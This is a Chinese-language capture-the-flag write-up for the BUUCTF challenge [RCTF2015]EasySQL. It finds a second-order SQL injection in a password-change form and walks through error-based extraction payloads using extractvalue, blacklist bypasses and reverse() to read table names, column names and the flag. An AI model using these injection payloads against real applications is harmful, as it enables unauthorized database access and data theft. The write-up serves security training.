Loading

[BUUCTF题解][RCTF2015]EasySQL

### 知识点

SQL注入

过程

做题先搜集(扫目录+检查HTTP报文+查看初始页面HTML代码),但是啥也没找到,但根据这个名字EasySQL,估计也就SQL没跑了。

先对输入输入点测一测,看哪有问题,触发下语法之类,但是注册和登录无论添加单引号还是双引号都没有反应。

image-20220326224659958

image-20220326224717878

但是在更改密码时会发现报错,并且显示了明确的报错信息,可以确定存在二次注入了。

image-20220326224915014

接下来测试了下黑名单,发现如substrsubstringmidleftright等字符串截取函数和 都被过滤了,但还剩下个reverse还能一用。

因为有错误显示那就直接报错注入了,至于长度超过回显位数时就用reverse反转下,接下来按流程读下表和字段。

username=123"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#&password=12&email=12

image-20220326230643361

username=123"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#&password=12&email=12

image-20220326230816365

但是发现flag并不在这个表。

username=12"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#&password=12&email=12

image-20220326231140189

真flag位于users表中,注意如下字段中的为real_flag_1s_here,最后的字母e因为长度限制没显示出来(可以通过使用reverse查看)。

username=12"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#&password=12&email=12

image-20220326231433793

但是直接获取会发现其中填充了很多无效数据,还得使用where筛选下。

username=12"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#&password=12&email=12

image-20220326232016034

这里采用另外一种思路,基于MYSQL中字符串比较大小采用的是类似C语言中strcmp函数,所以可以采用如下图思路:

image-20220326233616152

只需要采用!取反这样作为where查询成功的条件就能筛选出flag字段了。

username=12"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(!((real_flag_1s_here)>('flax')))))))#&password=12&email=12

image-20220326233729577

差了末尾的一部分,用reverse读一下,正过来在python中采用'xxx'[::-1]就行了。

username=12"or(extractvalue(1,concat(0x7e,(select(reverse(((select(group_concat(real_flag_1s_here))from(users)where(!((real_flag_1s_here)>('flax')))))))))))#&password=12&email=12

image-20220326234000535

image-20220326234052492

posted @ 2022-03-26 23:42  Article_kelp  阅读(518)  评论(0)    收藏  举报